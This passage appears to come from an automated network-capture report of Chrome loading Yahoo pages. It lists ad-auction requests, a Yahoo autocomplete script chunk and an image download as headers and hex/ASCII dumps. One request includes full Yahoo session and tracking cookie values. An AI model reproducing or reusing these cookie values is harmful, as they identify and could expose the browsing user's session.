&"H>I<MH",/:cNv8]#9juFLA1EbGYi$i\IP4#l9,gJtRR`.=ZX}G9-9SU:C#12Z@7L36&ctTG9'F3he
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: b1 10 47 06 7b 84 6e c7 2d aa 44 3c aa a7 93 06 ca d7 6d f8 98 d0 22 99 7c 9e 51 5b f8 fe bf fb b2 65 ec d6 55 40 4c 79 d9 01 94 f1 19 1f dc 6a 35 d4 b6 4b e0 8f 3f 84 71 c7 b6 8d ff 15 ae 9c a3 76 ad 95 d4 45 da 99 81 47 82 4a 40 49 cd 8f 6b d4 2f 75 35 b5 4a cb 02 29 50 c9 19 78 db 47 fe fc 20 cc f9 d4 cb 6d 89 cb 1a 23 f0 13 55 1a 4d 62 95 f3 0d fc bb d0 8d d4 0f 3a b8 2c 25 1d 75 b7 c8 3b cd 39 76 2c e4 d3 f4 73 5b b9 e0 9d d5 a6 01 36 d1 0c 0a b2 f6 b5 d0 d6 ae 3c dc 3c 3d 70 c7 a1 fb 45 eb 1b 45 5b 18 c4 3d cd 12 ad 15 78 7c 8e 31 de 93 5d 13 29 31 df 22 9d e8 dc 93 99 57 dd cf 48 64 e8 7b 86 5e 4b ad ce 54 8c a4 40 fb 3b 91 82 d7 69 15 0d 8e 02 d1 25 7a 2b dd 9e 50 62 40 df 7d 86 28 5d 58 55 85 93 b5 00 1b 70 3b 78 6a c4 59 7e 11 0c 6d 4c bf 80 7f Data Ascii: G{n-D<m"\|Q[eU@Lyj5K?qvEGJ@Ik/u5J)PxG m#UMb:,%u;9v,s[6<<=pEE[=x\|1])1"WHd{^KT@;i%z+Pb@}(]XUp;xjY~mL
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 35 41 3a 05 c2 ab 3b fa c7 9d 08 ce ff 73 13 3c 86 d4 d0 e0 92 ed 38 3c fa 30 74 75 84 e9 52 0c 2e 16 4b 5d 65 96 d7 ac cd a4 6f 64 fc 45 81 17 d2 61 f1 5b e9 82 d8 aa 06 6c 3c 3d 1e 52 d2 ab e9 24 a1 b5 c3 35 00 e6 9e 97 f8 09 fc 26 2d 64 b7 38 10 fe 67 51 db f9 08 e0 09 c9 ef bb 40 4a 89 cf fe a0 b2 a7 00 a1 fe 03 b9 f7 fa 7c 64 67 eb 8b 9b ff 9b da ea e5 83 55 69 35 07 bc ff d8 ff 82 cb d5 b3 28 3d 8d 0b 80 58 53 10 12 0f f0 25 5e 44 e0 ec 51 bb 92 f8 68 78 74 7e c2 90 22 70 c4 5c 2b fe e9 38 6c d9 93 92 32 0f e6 3c 89 ac 3b f4 51 23 4c b0 29 68 de ad 9e 24 58 d6 85 e6 12 05 84 1c 4d ed 4f 31 7f 52 fa 65 b5 8d 23 b8 c8 7d cf b5 c4 7a 6f 07 7f 8f fa ad aa 55 bf 8d 72 4c f6 5e 04 60 9f 53 2a 26 45 9f 3f 8e f1 a3 eb 36 b9 22 4f da cd 3c 11 2c 2d 6f 8a 89 Data Ascii: 5A:;s<8<0tuR.K]eodEa[l<=R$5&-d8gQ@J\|dgUi5(=XS%^DQhxt~"p\+8l2<;Q#L)h$XMO1Re#}zoUrL^`S*&E?6"O<,-o
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: b6 85 ef af 9c 89 17 be 75 8e 70 03 58 6c 77 5c 7c 62 8d 71 3f a5 ca bb c3 c2 09 12 8f dd fd 6f 99 4f 4f 5f 6e ab c4 01 6c 81 dd af 12 e0 ec 97 51 23 38 e2 b2 dc 57 58 f0 cb 37 19 e4 b2 e7 f2 74 44 af c4 68 05 a7 e5 8b f1 7c fe 24 ed 3a fc a2 85 69 ee f3 8a 7b c2 af 38 2e 1b 9d d2 d9 b9 58 12 87 31 86 40 07 6a a7 99 25 07 13 c6 19 42 9f 1e 39 ea e5 0b 49 fa ad 7d 32 3a 33 1e 74 5e 51 12 d4 ad e8 c9 90 91 32 88 47 b0 25 0b 82 20 73 73 87 cb c6 d3 f1 f0 99 7f 9c 2c 17 04 e7 fa 13 03 76 02 5d c9 b3 e9 5a fa 27 ce b7 0a 4b cf 4f 61 70 ab 7c ca 24 b2 98 a8 20 8b b4 3b fc 7a 7a b5 2c 1c e0 38 7b a4 47 72 a5 50 49 e1 aa 25 e5 b8 49 2d af 29 40 f0 45 19 ab 16 39 f5 34 5b c9 5e d5 f7 89 e8 44 d1 11 19 0f d1 45 5c 21 c2 89 87 1b e8 67 a5 6b 28 74 9a 65 f2 8c f1 04 Data Ascii: upXlw\\|bq?oOO_nlQ#8WX7tDh\|$:i{8.X1@j%B9I}2:3t^Q2G% ss,v]Z'KOap\|$ ;zz,8{GrPI%I-)@E94[^DE\!gk(te
2024-04-27 22:42:00 UTC	512	IN	Data Raw: 2f 56 06 cf 7a a2 fb f2 c3 2c e5 d1 84 a1 dc 32 e1 02 0f d3 e0 f1 36 01 6a 8d 8b fd db 10 d9 48 a3 a9 b3 08 6a 95 74 9b e8 e1 3c 4f a4 a3 d7 11 fd b5 1d 86 d8 5e 12 8c 1d e4 b9 45 27 f7 33 70 3c 89 a7 a4 c9 4f 08 ca 3c d8 cf 53 0a da dd 82 13 5f 40 5d f3 82 3c bb e8 2b 11 f2 a8 d0 80 fb 34 2e c1 8e 61 f8 9b 85 10 30 b0 49 cb 6a 62 9a 9c d8 d4 b5 92 24 09 3c d3 a0 c5 d6 c4 f7 9e 61 0f 72 63 36 0f 4c f0 ac a8 40 de 61 ac 57 a4 95 1e b4 00 b1 72 7f c4 af 50 05 da 09 96 a7 be 9f 73 5b ba db 24 41 0c 95 37 2d dc 4b 68 db 3c f7 b9 9d 39 c0 dc 2c de e3 e5 d7 f1 f7 fc bb 0e 5c 5e 34 f5 89 ed c3 dc 59 2d d7 6d 0a e8 cc 46 c7 94 74 08 24 34 af ec ad 2a 38 8f 3f b6 a0 33 45 37 f8 0f 0c e5 4b 92 7f ea 75 fc ea b3 11 cc 37 cf 59 31 9c 98 dd 69 c1 9a 4d 12 fe 15 e7 be Data Ascii: /Vz,26jHjt<O^E'3p<O<S_@]<+4.a0Ijb$<arc6L@aWrPs[$A7-Kh<9,\^4Y-mFt$4*8?3E7Ku7Y1iM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.4	50025	34.120.63.153	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	364	OUT	GET /rtb/prebid?cid=8CU2K123F HTTP/1.1 Host: prebid.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	357	IN	HTTP/1.1 204 No Content content-type: text/html;charset=utf-8 content-language: en content-length: 0 date: Sat, 27 Apr 2024 22:42:00 GMT x-envoy-upstream-service-time: 1 server: envoy Via: 1.1 google Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.4	50026	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	955	OUT	GET /openrtb2/auction HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:00 UTC	622	IN	HTTP/1.1 405 Method Not Allowed allow: OPTIONS, POST content-type: text/plain; charset=utf-8 vary: Origin content-length: 19 date: Sat, 27 Apr 2024 22:42:00 GMT x-envoy-upstream-service-time: 0 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:42:00 UTC	19	IN	Data Raw: 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0a Data Ascii: Method Not Allowed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.4	50027	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	563	OUT	GET /aaq/wf/wf-autocomplete-1.31.8-modern-a4f31e10ae.chunk.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: fv7AJk8fDA5jd85BIVy50RbdIOq/F+T6HbOwHTxP85P4k8UOpf/UCmwG2KC9LOd7eURhcsvOeBQ= x-amz-request-id: DF9VYNBSHCJR3RQQ Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Mon, 04 Dec 2023 12:09:37 GMT ETag: "dfa69f455efa8a49a71af52519927c3f" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: VedLc9cHVmcl0hDYflz_FEvaIOBOYa99 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8260 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 733 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 77 65 62 70 61 63 6b 4a 73 6f 6e 70 77 61 66 65 72 5f 77 61 66 65 72 73 5f 77 61 66 65 72 5f 61 75 74 6f 63 6f 6d 70 6c 65 74 65 28 5b 30 5d 2c 7b 22 2e 2f 73 72 63 2f 74 79 70 65 73 20 72 65 63 75 72 73 69 76 65 20 5e 5c 5c 2e 5c 5c 2f 2e 2a 24 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 72 65 74 75 72 6e 20 72 28 73 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 76 61 72 20 74 3d 69 5b 65 5d 3b 69 66 28 21 28 74 2b 31 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 6d 6f 64 75 6c 65 20 27 22 2b 65 2b 22 27 2e 22 29 3b 72 65 74 75 72 6e 20 74 7d 76 61 72 20 69 3d 7b 22 2e 2f 61 6f 6c 2d 6c 6f 63 61 74 69 6f 6e 22 3a 22 2e 2f 73 72 63 2f 74 79 70 65 Data Ascii: webpackJsonpwafer_wafers_wafer_autocomplete([0],{"./src/types recursive ^\\.\\/.*$":function(e,t,r){function a(e){return r(s(e))}function s(e){var t=i[e];if(!(t+1))throw new Error("Cannot find module '"+e+"'.");return t}var i={"./aol-location":"./src/type
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 21 3d 3d 6c 29 7b 76 61 72 20 75 3d 70 61 72 73 65 49 6e 74 28 6c 2c 31 30 29 3b 6f 5b 75 5d 3d 65 5b 6c 5d 7d 72 65 74 75 72 6e 20 6f 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 74 3d 65 2e 63 69 74 79 2c 61 3d 65 2e 63 6f 75 6e 74 72 79 2c 69 3d 65 2e 64 69 73 70 6c 61 79 5f 6e 61 6d 65 2c 6f 3d 65 2e 66 75 6c 6c 5f 64 69 73 70 6c 61 79 5f 6e 61 6d 65 2c 6c 3d 65 2e 6e 2c 75 3d 65 2e 71 75 61 6c 69 66 69 65 64 4e 61 6d 65 2c 63 3d 65 2e 73 74 61 74 65 63 6f 64 65 2c 64 3d 65 2e 77 6f 65 69 64 2c 70 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 2c 6d 3d 64 Data Ascii: !==l){var u=parseInt(l,10);o[u]=e[l]}return o.forEach(function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.city,a=e.country,i=e.display_name,o=e.full_display_name,l=e.n,u=e.qualifiedName,c=e.statecode,d=e.woeid,p=arguments[1],m=d
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 7c 7c 7b 7d 2c 76 3d 66 2e 65 78 63 68 61 6e 67 65 2c 68 3d 66 2e 73 79 6d 62 6f 6c 3b 69 66 28 68 2e 73 75 62 73 74 72 28 30 2c 69 2e 6c 65 6e 67 74 68 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3d 3d 3d 69 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 30 29 2c 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 6f 70 74 69 6f 6e 22 29 2c 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 72 65 73 75 6c 74 2d 22 2b 6c 2b 22 2d 22 2b 6d 29 3b 76 61 72 20 67 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 Data Ascii: \|\|{},v=f.exchange,h=f.symbol;if(h.substr(0,i.length).toUpperCase()===i.toUpperCase()){var b=document.createElement("li");b.setAttribute("tabindex",0),b.setAttribute("role","option"),b.setAttribute("id","wf-autocomplete-result-"+l+"-"+m);var g=document.cre
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 76 6f 69 64 20 30 3d 3d 3d 74 3f 7b 7d 3a 74 2c 73 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 2c 69 3d 72 2c 6e 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6f 3d 6e 2e 69 64 49 6e 64 65 78 2c 6c 3d 6e 2e 6c 69 73 74 45 6c 65 6d 2c 75 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 28 29 2c 63 3d 30 3b 63 3c 69 2e 6c 65 6e 67 74 68 26 26 63 3c 35 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 69 5b 63 5d 2c 70 3d 64 2e 74 69 74 6c 65 2c 6d 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 29 3b 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 30 29 2c 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 6f 70 74 69 6f 6e 22 29 2c 6d 2e 73 65 74 41 74 74 Data Ascii: void 0===t?{}:t,s=arguments[1],i=r,n=this._util,o=n.idIndex,l=n.listElem,u=document.createDocumentFragment(),c=0;c<i.length&&c<5;c++){var d=i[c],p=d.title,m=document.createElement("li");m.setAttribute("tabindex",0),m.setAttribute("role","option"),m.setAtt
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 72 6f 6e 67 3e 22 2b 75 2e 6b 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 29 2b 22 3c 2f 73 74 72 6f 6e 67 3e 22 2b 75 2e 6b 2e 73 75 62 73 74 72 28 61 2e 6c 65 6e 67 74 68 29 2b 22 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 2c 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 69 74 65 6d 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 72 65 73 75 6c 74 2d 22 2b 69 2b 22 2d 22 2b 6c 29 2c 6f 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 7d 7d 72 65 74 75 72 6e 20 6e 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 2c 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f Data Ascii: <strong>"+u.k.substr(0,a.length)+"</strong>"+u.k.substr(a.length)+"\n ",c.classList.add("wafer-autocomplete-item"),c.setAttribute("id","wf-autocomplete-result-"+i+"-"+l),o.appendChild(c)}}return n.innerHTML="",n.appendChild(o
2024-04-27 22:42:00 UTC	1013	IN	Data Raw: 74 61 2d 76 61 6c 75 65 22 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 69 64 3a 67 2c 61 63 74 69 6f 6e 3a 22 66 6f 6c 6c 6f 77 65 64 22 3d 3d 3d 4c 3f 22 52 45 4d 4f 56 45 22 3a 22 41 44 44 45 44 22 7d 29 29 2c 79 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 79 6c 6b 22 2c 22 63 69 64 3a 22 2b 67 2b 22 3b 73 6c 6b 3a 22 2b 76 29 2c 79 2e 69 6e 6e 65 72 48 54 4d 4c 3d 69 2e 72 65 70 6c 61 63 65 28 22 54 45 41 4d 5f 4c 45 41 47 55 45 5f 50 4c 41 43 45 48 4f 4c 44 45 52 22 2c 68 29 2e 72 65 70 6c 61 63 65 28 22 54 45 41 4d 5f 4c 4f 47 4f 5f 55 52 4c 5f 50 4c 41 43 45 48 4f 4c 44 45 52 22 2c 62 2e 75 72 6c 29 2e 72 65 70 6c 61 63 65 28 22 54 45 41 4d 5f 4e 41 4d 45 5f 50 4c 41 43 45 48 4f 4c 44 45 52 22 2c 76 29 2c 6c 2e 61 70 70 65 6e Data Ascii: ta-value",JSON.stringify({id:g,action:"followed"===L?"REMOVE":"ADDED"})),y.setAttribute("data-ylk","cid:"+g+";slk:"+v),y.innerHTML=i.replace("TEAM_LEAGUE_PLACEHOLDER",h).replace("TEAM_LOGO_URL_PLACEHOLDER",b.url).replace("TEAM_NAME_PLACEHOLDER",v),l.appen
2024-04-27 22:42:00 UTC	747	IN	Data Raw: 72 65 73 65 6e 74 61 74 69 6f 6e 22 29 2c 6c 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6d 29 7d 72 65 74 75 72 6e 20 75 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 61 3d 65 2e 63 69 74 79 2c 6e 3d 65 2e 63 6f 75 6e 74 72 79 2c 75 3d 65 2e 64 69 73 70 6c 61 79 5f 6e 61 6d 65 2c 63 3d 65 2e 66 75 6c 6c 5f 64 69 73 70 6c 61 79 5f 6e 61 6d 65 2c 64 3d 65 2e 6e 2c 70 3d 65 2e 71 75 61 6c 69 66 69 65 64 4e 61 6d 65 2c 6d 3d 65 2e 73 74 61 74 65 63 6f 64 65 2c 66 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 29 2c 76 3d 65 2e 77 6f 65 69 64 2c 68 3d 63 7c 7c 75 7c 7c 70 7c 7c 64 3b 68 7c 7c 28 68 3d 5b 61 2c 6d 2c 6e 5d 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 Data Ascii: resentation"),l.appendChild(m)}return u.forEach(function(e,t){var a=e.city,n=e.country,u=e.display_name,c=e.full_display_name,d=e.n,p=e.qualifiedName,m=e.statecode,f=document.createElement("li"),v=e.woeid,h=c\|\|u\|\|p\|\|d;h\|\|(h=[a,m,n].reduce(function(e,t){re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.4	50031	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	683	OUT	GET /uu/api/res/1.2/jUDPTogMDfGauNm.dTWoBQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_627%2Cw_1200%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2FIMAGE_UPSCALER%2FEIU%2F85f03fc2-6ff1-4570-89a0-515bca45febe__BWujTRKy.jpg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	1206	IN	HTTP/1.1 200 OK Content-Length: 25174 Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 397027252229094741208887450139352151327,479651796159299122488289403061957739757,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 397027252229094741208887450139352151327,479651796159299122488289403061957739757,ae7a14591aaf8d474cdb3f92111c923e Etag: "555e651ec86174c89670b90229fcca78" Expiration: expiry-date="Wed, 01 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 02 Nov 2023 23:56:38 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=25174,owidth=2000,oheight=1000,obytes=142397 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Fri, 05 Apr 2024 02:02:30 GMT X-Served-By: cache-iad-kjyo7100137-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1712282551.668877,VS0,VE3 Age: 1975170 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-iad-kjyo7100137-IAD cld_latency: 3 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-04-27 22:42:00 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 96 00 96 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c0 00 11 08 01 1c 02 18 03 01 22 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 07 01 08 09 ff c4 00 5e 10 00 01 03 03 01 03 06 06 09 0f 09 05 08 01 05 00 01 00 02 03 04 05 11 21 06 12 31 07 13 41 51 61 71 14 22 32 81 91 d1 15 52 53 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C((((((((((((((((((((((((((((((((((((((((((((((((((("^!1AQaq"2RS
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: d2 b7 d2 65 48 2d 69 bc 8d 4e 7f 3c c5 f1 07 e9 25 19 c8 b4 ee 3f f1 b8 bf 67 3f 49 27 88 a6 bc 8d 60 ab 3f ed fd 8c 85 05 b1 b7 91 29 8f 1b e4 5f b3 1f a4 94 1c 87 cc 46 7d 9c 8b f6 63 f4 94 7b aa 5c 92 ec 31 1f 4f ec 63 08 2d 98 f2 1d 3f 45 f6 1f d9 8f d2 49 bb 91 19 c7 e7 c8 7f 67 3f 49 3e e6 97 21 d8 62 3e 9f d8 c7 50 5a fb b9 15 a8 1f 9e e1 fd 9c fd 24 8b b9 1a a8 6f e7 98 7e 20 fd 24 fb 8a 7c 89 e0 6b af ed fd 8c 99 05 aa 9e 47 aa 07 e7 88 7e 20 fa d1 4f 24 15 03 f3 bc 5f 12 7d 69 f5 e9 f2 47 b4 ad f4 99 62 0b 52 fb 11 4f fa 5e 2f 88 3e b4 3e c4 53 fe 97 8b e2 4f ad 1d 68 72 2e d2 b7 06 5a 82 d4 4f 24 93 8f ce f1 7c 49 f5 a2 fd 89 67 fd 2d 17 c4 9f 5a 3a d0 e4 3b 4a bc 19 82 0b 4f fb 12 cf fa 5a 2f 89 3e b4 3e c4 d5 1f a5 a2 f8 93 eb 47 5a 1c 87 69 Data Ascii: eH-iN<%?g?I'`?)_F}c{\1Oc-?EIg?I>!b>PZ$o~ $\|kG~ O$_}iGbRO^/>>SOhr.ZO$\|Ig-Z:;JOZ/>>GZi
